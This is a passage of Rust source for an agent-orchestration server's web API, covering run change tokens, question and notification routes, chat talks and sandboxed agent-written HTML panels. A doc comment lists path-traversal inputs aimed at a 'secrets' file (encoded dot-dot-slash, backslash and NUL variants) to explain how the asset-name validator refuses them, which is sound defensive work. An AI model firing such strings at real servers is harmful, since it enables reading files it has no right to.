5285            Some((id, (modified.as_nanos(), metadata.len())))
5286        })
5287        .collect()
5288}
5289
5290#[derive(Debug, Serialize)]
5291struct Delta {
5292    base: u64,
5293    changed: Vec<String>,
5294    removed: Vec<String>,
5295}
5296
5297fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5298    let mut changed: Vec<_> = next
5299        .iter()
5300        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5301        .map(|(id, _)| id.clone())
5302        .collect();
5303    let mut removed: Vec<_> = previous
5304        .keys()
5305        .filter(|id| !next.contains_key(*id))
5306        .cloned()
5307        .collect();
5308    changed.sort_unstable();
5309    removed.sort_unstable();
5310    Delta {
5311        base,
5312        changed,
5313        removed,
5314    }
5315}
5316
5317/// Change detection token for recorded runs under `runs`.
5318///
5319/// Combines the id and `run.json` modification time of each run, so adding,
5320/// updating, or deleting any run — even an older one — moves the revision and
5321/// notifies connected clients via the change stream. Returns 0 when no runs
5322/// exist.
5323fn runs_revision(runs: &FsPath) -> u64 {
5324    stamps_revision(&store_stamps(runs, true))
5325}
5326
5327/// Opaque tokens use the exact metadata snapshot behind the delta, in both
5328/// health and SSE. Nanoseconds and length also detect same-millisecond writes
5329/// and deleting an older conversation (a newest-mtime token cannot do that).
5330fn stamps_revision(stamps: &Stamps) -> u64 {
5331    use std::hash::{Hash as _, Hasher as _};
5332    if stamps.is_empty() {
5333        return 0;
5334    }
5335    let mut entries: Vec<_> = stamps.iter().collect();
5336    entries.sort_unstable();
5337    let mut hasher = std::hash::DefaultHasher::new();
5338    entries.hash(&mut hasher);
5339    hasher.finish().max(1)
5340}
5341
5342/// Run ids under `runs`, newest first.
5343///
5344/// Rooted at an explicit directory rather than calling [`run::list_ids`],
5345/// which reads the process-global home: the server has to be drivable against
5346/// a temp directory for any of this to be testable.
5347fn run_ids(runs: &FsPath) -> Vec<String> {
5348    let mut ids: Vec<String> = std::fs::read_dir(runs)
5349        .into_iter()
5350        .flatten()
5351        .flatten()
5352        .filter(|e| e.path().join("run.json").is_file())
5353        .map(|e| e.file_name().to_string_lossy().into_owned())
5354        .collect();
5355    // Ids start with a sortable timestamp.
5356    ids.sort_unstable_by(|a, b| b.cmp(a));
5357    ids
5358}
5359
5360/// Read one run's state from an explicit runs root.
5361fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5362    let path = runs.join(id).join("run.json");
5363    let body =
5364        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5365    let state: RunState =
5366        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5367    // The same migration `RunState::load` applies, so a record from the
5368    // previous schema reads here as it does everywhere else (an origin-less
5369    // run shows as "origin unknown") instead of vanishing from the phone the
5370    // moment the schema is bumped.
5371    run::migrate_schema(state)
5372}
5373
5374/// Runs on disk under `runs` whose state this build cannot parse - almost
5375/// always a schema bump, occasionally a run killed mid-write.
5376///
5377/// Exposed so every surface that reports on runs shares one count instead of
5378/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
5379/// `magi doctor` calls this directly rather than guessing at the same number
5380/// a second way.
5381#[must_use]
5382pub fn runs_unreadable(runs: &FsPath) -> usize {
5383    run_ids(runs)
5384        .into_iter()
5385        .filter(|id| read_run(runs, id).is_err())
5386        .count()
5387}
5388
5389/// Expand an id or short id to exactly one run id.
5390fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5391    if runs.join(id).join("run.json").is_file() {
5392        return Ok(id.to_owned());
5393    }
5394    pick(run_ids(runs), id, "run")
5395}
5396
5397/// Expand an id or short id to exactly one task id.
5398fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5399    if queue.path_of(id).is_file() {
5400        return Ok(id.to_owned());
5401    }
5402    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5403}
5404
5405/// A question as the phone reads it.
5406///
5407/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
5408/// text already parsed into a node tree so the client never runs its own
5409/// markdown reader over agent-authored prose. A relative image path in it
5410/// resolves against this question's own panel asset route, which is the one
5411/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
5412/// separate, sandboxed document, but `detail` is rendered inline in the
5413/// operator's own page, so an image reference in it may only ever point at
5414/// files magi itself already serves for this question.
5415#[derive(Debug, Serialize)]
5416struct QuestionView {
5417    #[serde(flatten)]
5418    question: Question,
5419    detail_md: Vec<md::Node>,
5420    /// Each thread turn's body, parsed; same order as `question.thread`.
5421    thread_bodies_md: Vec<Vec<md::Node>>,
5422    /// Each thread turn's deputy note, parsed (`None` for a turn without
5423    /// one); same order as `question.thread`.
5424    thread_notes_md: Vec<Option<Vec<md::Node>>>,
5425    /// Is the ball in the agent's court right now?
5426    ///
5427    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
5428    /// [`Question::say`] - so this is the one field that tells the phone to
5429    /// disable the answer controls and show "waiting for the agent" instead of
5430    /// a card the owner can act on. Computed rather than stored on
5431    /// [`Question`] itself, on the same reasoning as `waiting` on
5432    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
5433    /// it here means the client never has to re-derive that rule.
5434    waiting_on_agent: bool,
5435    /// Who is waiting on this open question - see [`holder_of`]. Separate
5436    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
5437    /// anyone is there to take it.
5438    holder: Option<&'static str>,
5439    /// Whether `magi serve` can start a follow-up agent for a conductor
5440    /// question at all: false when `daemon.max_deputies = 0` or the config is
5441    /// unreadable. Separate from `holder`, which says who is listening now.
5442    deputies_enabled: bool,
5443    /// `question.run` is a task id (conductor / triage questions), not a run
5444    /// id, so the UI links it to the task page.
5445    run_is_task: bool,
5446    /// The chat conversation this question's task came from, when the owner
5447    /// may hand the question to it - see [`crate::consult::origin_talk`]. The
5448    /// UI offers "Ask the chat agent" only when this is set; it is never one
5449    /// of `question.choices`.
5450    origin_chat: Option<String>,
5451}
5452
5453impl QuestionView {
5454    /// The view of `question`, reading who is waiting on it from `store`.
5455    ///
5456    /// `holder` needs the lease sidecar, which is why this is not a `From`.
5457    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5458        let base = md::ImageBase::QuestionPanel {
5459            id: question.id.clone(),
5460        };
5461        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5462        Self {
5463            detail_md: md::to_nodes(&question.detail, &base),
5464            thread_bodies_md: question
5465                .thread
5466                .iter()
5467                .map(|t| md::to_nodes(&t.body, &base))
5468                .collect(),
5469            thread_notes_md: question
5470                .thread
5471                .iter()
5472                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5473                .collect(),
5474            waiting_on_agent: question.waiting_on_agent(),
5475            holder,
5476            deputies_enabled,
5477            run_is_task: question.run_names_task(),
5478            origin_chat: None,
5479            question,
5480        }
5481    }
5482
5483    /// Fill `origin_chat` from the queue and the talks.
5484    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5485        self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5486        self
5487    }
5488}
5489
5490/// The config this repository resolves, or `None` when it cannot be read.
5491/// Discovering is git processes plus a config render, so a request that needs
5492/// it for many items takes it once and passes it down.
5493fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5494    Config::discover(repo, None).ok().map(|(c, _)| c)
5495}
5496
5497/// Can `magi serve` start a deputy for this question under `cfg`?
5498fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5499    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5500}
5501
5502/// The views `GET /api/questions` answers. `load` runs at most once, however
5503/// many questions there are, and not at all when there are none.
5504fn question_views(
5505    qs: Vec<Question>,
5506    store: &ask::Questions,
5507    load: impl FnOnce() -> Option<Config>,
5508) -> Vec<QuestionView> {
5509    if qs.is_empty() {
5510        return Vec::new();
5511    }
5512    let cfg = load();
5513    qs.into_iter()
5514        .map(|q| {
5515            let on = deputies_enabled(cfg.as_ref(), &q);
5516            QuestionView::of(q, store, on)
5517        })
5518        .collect()
5519}
5520
5521/// Who is honestly waiting on an open question right now: `"asker"` (the
5522/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
5523/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
5524/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
5525/// up, or the question never had anyone listening (a conductor question or a
5526/// merge approval from before deputies, or not yet given one).
5527///
5528/// `None` for a question that is settled, and for one that is not an agent's
5529/// to wait on at all (a release notice).
5530fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5531    if !q.status.open() {
5532        return None;
5533    }
5534    if q.cwd.is_none() && q.deputy.is_none() {
5535        return crate::deputy::kind_of(q).map(|_| "nobody");
5536    }
5537    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5538        Some(_) if q.deputy.is_some() => "deputy",
5539        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5540        Some(_) => "asker",
5541        None => "nobody",
5542    })
5543}
5544
5545/// `GET /api/questions`.
5546///
5547/// Everything, not just the open ones: an answered question is the record of a
5548/// decision, and the phone is where the operator goes back to check what they
5549/// told an agent at 3am. `ask::Questions::list` already ranks open first.
5550async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5551    blocking(move || {
5552        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5553        Ok(Json(
5554            question_views(ui.questions.list(), &ui.questions, || {
5555                deputy_config(&ui.repo)
5556            })
5557            .into_iter()
5558            .map(|v| v.with_origin(&tasks, &talks))
5559            .collect(),
5560        ))
5561    })
5562    .await
5563}
5564
5565/// `GET /api/notifications`: not dismissed, newest first, with the unread
5566/// count so the badge and the list cannot disagree.
5567async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5568    blocking(move || {
5569        let items = ui.notices.list();
5570        let unread = items.iter().filter(|n| n.unread()).count();
5571        Ok(Json(
5572            serde_json::json!({ "unread": unread, "items": items }),
5573        ))
5574    })
5575    .await
5576}
5577
5578fn notice_error(e: anyhow::Error) -> ApiError {
5579    // An unknown or malformed id and a vanished file are the same answer to
5580    // the phone: that notification is gone.
5581    ApiError::not_found(format!("{e:#}"))
5582}
5583
5584/// `POST /api/notifications/{id}/read`.
5585async fn notification_read(
5586    State(ui): State<Arc<Ui>>,
5587    Path(id): Path<String>,
5588) -> ApiResult<Json<Notice>> {
5589    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5590}
5591
5592/// `POST /api/notifications/{id}/dismiss`.
5593async fn notification_dismiss(
5594    State(ui): State<Arc<Ui>>,
5595    Path(id): Path<String>,
5596) -> ApiResult<Json<Notice>> {
5597    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5598}
5599
5600/// `POST /api/notifications/read-all`.
5601async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5602    blocking(move || {
5603        let changed = ui.notices.mark_all_read()?;
5604        Ok(Json(serde_json::json!({ "marked": changed })))
5605    })
5606    .await
5607}
5608
5609/// The body of `POST /api/questions/{id}/answer`.
5610///
5611/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
5612/// a bad request rather than a guess: an answer magi invented is worse than a
5613/// question left open.
5614#[derive(Debug, Default, Deserialize)]
5615#[serde(default, deny_unknown_fields)]
5616struct NewAnswer {
5617    choice: Option<String>,
5618    text: Option<String>,
5619}
5620
5621async fn question_answer(
5622    State(ui): State<Arc<Ui>>,
5623    Path(id): Path<String>,
5624    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5625) -> ApiResult<Json<QuestionView>> {
5626    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5627    let answer = match (body.choice, body.text) {
5628        (Some(c), None) => Answer::Choice(c),
5629        (None, Some(t)) => Answer::Text(t),
5630        (Some(_), Some(_)) => {
5631            return Err(ApiError::bad_request(
5632                "send either `choice` or `text`, not both",
5633            ));
5634        }
5635        (None, None) => {
5636            return Err(ApiError::bad_request("send a `choice` or a `text`"));
5637        }
5638    };
5639
5640    blocking(move || {
5641        let id = resolve_question(&ui.questions, &id)?;
5642        let q = ui
5643            .questions
5644            .get(&id)
5645            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5646        if !q.status.open() {
5647            // Answered from the terminal, or by another phone, in between the
5648            // list and the tap. The UI shows the recorded answer rather than an
5649            // error, so it needs the record, not just the status.
5650            return Err(ApiError::conflict(format!(
5651                "question {} is already {}",
5652                q.short(),
5653                q.status.as_str()
5654            )));
5655        }
5656        // `Question::answer` owns the rules - an unoffered choice, free text on
5657        // a multiple-choice question, an empty reply - so the route does not
5658        // restate them and cannot drift from the CLI's behaviour.
5659        let (q, ()) = ui
5660            .questions
5661            .update(&q.id, |r| r.answer(answer))
5662            .map_err(ApiError::bad_request_from)?;
5663        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5664        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5665        Ok(Json(
5666            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5667        ))
5668    })
5669    .await
5670}
5671
5672/// The body of `POST /api/questions/{id}/say`.
5673#[derive(Debug, Deserialize)]
5674#[serde(deny_unknown_fields)]
5675struct NewSay {
5676    body: String,
5677}
5678
5679/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
5680///
5681/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
5682/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
5683/// file, so there is no turn to serialize against and no
5684/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
5685/// is a *different* process - the run parked behind `magi ask` - and picks
5686/// the reply up on its own poll of the very same file, same as an answer
5687/// does.
5688async fn question_say(
5689    State(ui): State<Arc<Ui>>,
5690    Path(id): Path<String>,
5691    body: std::result::Result<Json<NewSay>, JsonRejection>,
5692) -> ApiResult<Json<QuestionView>> {
5693    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5694    blocking(move || {
5695        let id = resolve_question(&ui.questions, &id)?;
5696        let q = ui
5697            .questions
5698            .get(&id)
5699            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5700        if !q.status.open() {
5701            // Same granularity as `question_answer`: answered or abandoned in
5702            // between the list and the tap is not this route's error to
5703            // explain any differently.
5704            return Err(ApiError::conflict(format!(
5705                "question {} is already {}",
5706                q.short(),
5707                q.status.as_str()
5708            )));
5709        }
5710        // `Question::say` owns the one rule that matters here - an empty
5711        // message tells the agent nothing - so the route does not restate it.
5712        let (q, ()) = ui
5713            .questions
5714            .update(&q.id, |r| r.say(body.body))
5715            .map_err(ApiError::bad_request_from)?;
5716        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5717        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5718        Ok(Json(
5719            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5720        ))
5721    })
5722    .await
5723}
5724
5725/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
5726/// came from. The question stays open: the chat agent answers it with `magi
5727/// answer`, or puts the decision to the owner in the conversation.
5728///
5729/// Answers 202 and runs the turn in the background, like every route that
5730/// spends agent calls. The text is queued as a draft of the existing talk, and
5731/// the turn goes through the talk's own gate and session; no seat or waiter is
5732/// started here.
5733async fn question_consult(
5734    State(ui): State<Arc<Ui>>,
5735    Path(id): Path<String>,
5736) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5737    let (view, reclaimed) = blocking({
5738        let ui = Arc::clone(&ui);
5739        move || {
5740            let id = resolve_question(&ui.questions, &id)?;
5741            let q = ui
5742                .questions
5743                .get(&id)
5744                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5745            if !q.status.open() {
5746                return Err(ApiError::conflict(format!(
5747                    "question {} is already {}",
5748                    q.short(),
5749                    q.status.as_str()
5750                )));
5751            }
5752            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5753            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5754                return Err(ApiError::conflict(format!(
5755                    "question {} has no open chat to ask",
5756                    q.short()
5757                )));
5758            };
5759            // Read the config before `begin` saves anything: a failure here
5760            // must leave no consult record or draft behind, or a retry would
5761            // see `fresh == false` and never start the turn.
5762            let cfg = if q.consult.is_none() {
5763                Some(Config::discover(&talk.repo, None)?.0)
5764            } else {
5765                None
5766            };
5767            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5768            let claim = if fresh {
5769                match ui.begin_queued_talk_turn(&talk.id)? {
5770                    Some(turn_guard) => {
5771                        let talk = ui.talks.get(&talk.id)?;
5772                        let cfg = match cfg {
5773                            Some(cfg) => cfg,
5774                            None => Config::discover(&talk.repo, None)?.0,
5775                        };
5776                        Some((talk, cfg, turn_guard))
5777                    }
5778                    None => None,
5779                }
5780            } else {
5781                None
5782            };
5783            let q = ui.questions.get(&q.id)?;
5784            let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5785            let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5786            Ok((view, claim))
5787        }
5788    })
5789    .await?;
5790    if let Some((talk, cfg, turn_guard)) = reclaimed {
5791        let talks = ui.talks.clone();
5792        let id = talk.id.clone();
5793        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5794    }
5795    Ok((StatusCode::ACCEPTED, Json(view)))
5796}
5797
5798/// Expand an id or short id to exactly one question id.
5799fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5800    if store.path_of(id).is_file() {
5801        return Ok(id.to_owned());
5802    }
5803    pick(
5804        store.list().into_iter().map(|q| q.id).collect(),
5805        id,
5806        "question",
5807    )
5808}
5809
5810/// `GET /api/questions/{id}/panel`.
5811///
5812/// The panel an agent wrote for this question, as `text/html` under
5813/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
5814/// A question without one is a 404 rather than an empty page: the client
5815/// preflights this route with `HEAD` and must be able to tell "no panel" from
5816/// "a panel that rendered blank", and a sandboxed frame is opaque to the
5817/// parent document so it cannot tell the difference by looking.
5818///
5819/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
5820/// sanitises or minifies it - a sanitiser is a list of things someone thought
5821/// of, and the sandbox plus the CSP is a list of things that are allowed, which
5822/// is the direction that stays safe when an agent writes markup nobody
5823/// predicted.
5824async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5825    blocking(move || {
5826        let id = resolve_question(&ui.questions, &id)?;
5827        let Some(html) = ui.questions.panel_html(&id) else {
5828            return Err(ApiError::not_found(format!("question {id} has no panel")));
5829        };
5830        Ok(panel_response(
5831            "text/html; charset=utf-8",
5832            false,
5833            html.into_bytes(),
5834        ))
5835    })
5836    .await
5837}
5838
5839/// `GET /api/questions/{id}/asset/{name}`.
5840///
5841/// One file from the question's own panel directory, so a panel can show a
5842/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
5843/// having to allow anything off this machine.
5844///
5845/// This is the only route in the server where a client names a file, so it is
5846/// the only one with a traversal surface, and the name is checked by
5847/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
5848/// what is worth being explicit about, because the answer is not "all of it in
5849/// one place":
5850///
5851/// * `asset/../../secrets` never reaches this handler at all. axum matches on
5852///   the raw request path and `{name}` spans exactly one segment, so a real
5853///   slash makes the request too long for the route and the router answers 404.
5854/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
5855///   percent-decodes path parameters, so `name` arrives as `../secrets` and
5856///   `..\secrets` respectively, which look like plain filenames to the router.
5857///   The validator refuses them here - both for the literal `..` and because
5858///   `/` and `\` are not in the permitted character set - and answers 400.
5859/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
5860///   the platform's path API is not, and it is refused here for the same
5861///   reason: NUL is not a permitted character.
5862/// * [`Questions::panel_asset`] validates again on read, so the check is not
5863///   load-bearing in only one place. This route's own check exists so the
5864///   failure is a 400 that says which name was wrong, rather than a store error
5865///   the operator has to interpret.
5866async fn question_asset(
5867    State(ui): State<Arc<Ui>>,
5868    Path((id, name)): Path<(String, String)>,
5869) -> ApiResult<Response> {
5870    // Before any filesystem work and before any path is built: a name this
5871    // server will not serve should not become a `PathBuf` at all.
5872    if !crate::ask::valid_asset_name(&name) {
5873        return Err(ApiError::bad_request(format!(
5874            "`{name}` is not a usable asset name"
5875        )));
5876    }
5877    blocking(move || {
5878        let id = resolve_question(&ui.questions, &id)?;
5879        let asset = ui
5880            .questions
5881            .panel_asset(&id, &name)
5882            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5883        let Some(bytes) = asset else {
5884            return Err(ApiError::not_found(format!(
5885                "question {id} has no asset `{name}`"
5886            )));
5887        };
5888        Ok(panel_response(
5889            asset_content_type(&name),
5890            is_svg(&name),
5891            bytes,
5892        ))
5893    })
5894    .await
5895}
5896
5897/// Content type for a panel asset, from a closed whitelist.
5898///
5899/// A whitelist with an `application/octet-stream` fallback rather than a
5900/// guess, because the one answer that must never come out of here is
5901/// `text/html`. An agent that writes `notes.html` into its panel directory and
5902/// links it would otherwise get its own markup rendered at the top level of the
5903/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
5904/// magi's origin - which is precisely the thing the panel design exists to
5905/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
5906///
5907/// `nosniff` accompanies this on every response, so a browser cannot decide it
5908/// knows better than the type we sent.
5909fn asset_content_type(name: &str) -> &'static str {
5910    match extension(name).as_deref() {
5911        Some("png") => "image/png",
5912        Some("jpg" | "jpeg") => "image/jpeg",
5913        Some("gif") => "image/gif",
5914        Some("webp") => "image/webp",
5915        Some("svg") => "image/svg+xml",
5916        Some("css") => "text/css; charset=utf-8",
5917        Some("txt") => "text/plain; charset=utf-8",
5918        _ => "application/octet-stream",
5919    }
5920}
5921
5922/// Is this an SVG, and therefore a file that must never be opened at the top
5923/// level?
5924fn is_svg(name: &str) -> bool {
5925    extension(name).as_deref() == Some("svg")
5926}
5927
5928/// Lowercased extension, or `None` for a name without one.
5929fn extension(name: &str) -> Option<String> {
5930    name.rsplit_once('.')
5931        .map(|(_, ext)| ext.to_ascii_lowercase())
5932}
5933
5934/// Every panel response, with the four headers that make it safe and, for an
5935/// SVG, a fifth.
5936///
5937/// One function rather than a header list per handler, because a panel route
5938/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
5939/// model gone, silently, on one of two routes. Adding a third panel route later
5940/// means calling this, and there is nowhere else to build a panel response.
5941///
5942/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
5943/// as an `<img src>` inside the panel that script cannot run - but the asset
5944/// URL is also a plain URL an operator can be talked into opening in a tab,
5945/// where it is a document on magi's own origin. `Content-Disposition:
5946/// attachment` makes the browser download it instead of rendering it, which
5947/// closes that door without taking away the ability to draw a diff. Raster
5948/// images have no such execution surface and are left inline, so tapping a
5949/// screenshot still shows it.
5950fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5951    let mut res = (
5952        [
5953            (header::CONTENT_TYPE, content_type),
5954            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5955            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5956            (header::REFERRER_POLICY, "no-referrer"),
5957        ],
5958        body,
5959    )
5960        .into_response();
5961    if download {
5962        res.headers_mut().insert(
5963            header::CONTENT_DISPOSITION,
5964            HeaderValue::from_static("attachment"),
5965        );
5966    }
5967    res
5968}
5969
5970/// A talk as the phone reads it.
5971///
5972/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
5973/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
5974/// parses markdown itself - and the process-local `thinking` hint.
5975#[derive(Debug, Serialize)]
5976struct TalkView {
5977    #[serde(flatten)]
5978    talk: Talk,
5979    turn_bodies_md: Vec<Vec<md::Node>>,
5980    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
5981    /// this server process.
5982    ///
5983    /// This is deliberately not durable: another server process cannot see
5984    /// it, and a restarted server must not claim an old turn is live. It is a
5985    /// progress hint rather than proof a reply landed; the transcript remains
5986    /// the source of truth for that.
5987    thinking: bool,
5988    /// Context-window usage, derived per request - see
5989    /// [`talk::context_usage`]. Carried on every talk response (list, detail
5990    /// and each mutation) so the phone needs no extra call or polling.
5991    context: talk::ContextUsage,
5992    /// `[talk] operator_name`, when configured; the Chat labels the
5993    /// operator's turns with it.
5994    operator_name: Option<String>,
5995    /// The active persona's display name; `None` for the default voice.
5996    persona_name: Option<String>,
5997}
5998
5999impl TalkView {
6000    /// Reads the talk's repository config itself; a config that cannot be
6001    /// read leaves the window unknown but never fails the conversation.
6002    fn new(talk: Talk, thinking: bool) -> Self {
6003        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6004        Self::with_config(talk, thinking, cfg.as_ref())
6005    }
6006
6007    /// As [`Self::new`], with the config already in hand (the list reads one
6008    /// per repository, not one per conversation).
6009    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6010        let context = talk::context_usage(&talk, cfg);
6011        let turn_bodies_md = talk
6012            .turns
6013            .iter()
6014            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6015            .collect();
6016        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6017        let persona_name = persona::find(specs, &talk.persona)
6018            .filter(|p| !p.is_default())
6019            .map(|p| p.name);
6020        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6021        Self {
6022            turn_bodies_md,
6023            thinking,
6024            context,
6025            operator_name,
6026            persona_name,
6027            talk,
6028        }
6029    }
6030}
6031
6032/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
6033/// conversation has filed, so the phone can follow one from inside the
6034/// conversation that asked for it rather than hunting the Queue for a task id
6035/// it may not remember.
6036#[derive(Debug, Serialize)]
6037struct TalkDetailView {
6038    #[serde(flatten)]
6039    view: TalkView,
6040    tasks: Vec<TaskView>,
6041    /// The agents this talk's repository can switch to; empty when its
6042    /// configuration cannot be read, which must not fail the whole detail.
6043    roster: Vec<RosterEntry>,
6044    /// The personas the conversation can pick from. The built-ins are always
6045    /// listed, even when the repository's configuration cannot be read.
6046    personas: Vec<PersonaEntry>,
6047}
6048
6049/// One persona as the talk's persona selector shows it.
6050#[derive(Debug, Serialize)]
6051struct PersonaEntry {
6052    id: String,
6053    name: String,
6054}
6055
6056/// One roster agent as the talk's agent selector shows it.
6057#[derive(Debug, Serialize)]
6058struct RosterEntry {
6059    id: String,
6060    kind: AgentKind,
6061    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
6062    runnable: bool,
6063}
6064
6065/// `GET /api/talks`.
6066///
6067/// Every conversation, open ones first and newest first - [`Talks::list`]'s
6068/// own order.
6069async fn talks_list(
6070    State(ui): State<Arc<Ui>>,
6071    Query(q): Query<ListQuery>,
6072) -> ApiResult<Json<Vec<TalkView>>> {
6073    blocking(move || {
6074        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6075        Ok(Json(
6076            ui.talks
6077                .list()
6078                .into_iter()
6079                .filter(|talk| q.contains(&talk.id))
6080                .map(|talk| {
6081                    let thinking = ui.is_thinking(&talk.id);
6082                    let cfg = configs
6083                        .entry(talk.repo.clone())
6084                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6085                    TalkView::with_config(talk, thinking, cfg.as_ref())
6086                })
6087                .collect(),
6088        ))
6089    })
6090    .await
6091}
6092
6093/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
6094/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
6095/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
6096/// end still opens a talk against an older binary.
6097#[derive(Debug, Default, Deserialize)]
6098#[serde(default)]
6099struct NewTalk {
6100    agent: Option<String>,
6101    repo: Option<PathBuf>,
6102}
6103
6104/// `POST /api/talks` - open a conversation. Takes no agent turn: see
6105/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
6106async fn talk_post(
6107    State(ui): State<Arc<Ui>>,
6108    body: std::result::Result<Json<NewTalk>, JsonRejection>,
6109) -> ApiResult<impl IntoResponse> {
6110    // An absent body, or an empty one, is the normal way to open a talk - see
6111    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
6112    // rather than refused.
6113    let body = match body {
6114        Ok(Json(body)) => body,
6115        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6116        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6117    };
6118    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6119    let cfg = config_for(&repo).await?;
6120    let view = blocking(move || {
6121        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6122        let thinking = ui.is_thinking(&talk.id);
6123        Ok(TalkView::new(talk, thinking))
6124    })
6125    .await?;
6126    Ok((StatusCode::CREATED, Json(view)))
6127}
6128
6129/// `GET /api/talks/{id}`.
6130async fn talk_detail(
6131    State(ui): State<Arc<Ui>>,
6132    Path(id): Path<String>,
6133) -> ApiResult<Json<TalkDetailView>> {
6134    blocking(move || {
6135        let id = resolve_talk(&ui.talks, &id)?;
6136        let talk = ui.talks.get(&id)?;
6137        let thinking = ui.is_thinking(&talk.id);
6138        let tasks = talk::tasks_of(&ui.queue, &talk.id)
6139            .into_iter()
